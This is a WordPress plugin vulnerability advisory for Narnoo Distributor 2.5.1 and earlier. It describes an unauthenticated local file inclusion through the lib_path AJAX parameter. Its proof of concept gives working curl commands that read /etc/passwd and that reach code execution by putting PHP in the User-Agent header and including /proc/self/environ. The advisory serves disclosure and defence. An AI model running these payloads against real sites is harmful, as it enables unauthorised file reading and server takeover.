WordPress Plugin Vulnerabilities

Narnoo Distributor <= 2.5.1 - Unauthenticated LFI to Arbitrary File Read / RCE

Description

The plugin fails to validate and sanitize the lib_path parameter before it is passed into a call to require() via the narnoo_distributor_lib_request AJAX action (available to both unauthenticated and authenticated users) which results in the disclosure of arbitrary files as the content of the file is then displayed in the response as JSON data. This could also lead to RCE with various tricks but depends on the underlying system and it's configuration.

Proof of Concept

curl https://example.com/wp-admin/admin-ajax.php --data 'action=narnoo_distributor_lib_request&lib_path=/etc/passwd'

Assuming the web user (www-data) can read from /proc/self/environ, the following curl command can be used to trigger RCE:

curl https://example.com/wp-admin/admin-ajax.php --data 'action=narnoo_distributor_lib_request&lib_path=/proc/self/environ' -H 'User-Agent: <?= passthru("id"); =>'

Affects Plugins

References

Classification

Type
LFI
OWASP top 10
CWE
CVSS

Miscellaneous

Original Researcher
cydave
Submitter
cydave
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2022-03-01 (about 2 years ago)
Added
2022-03-01 (about 2 years ago)
Last Updated
2022-12-05 (about 1 years ago)

Other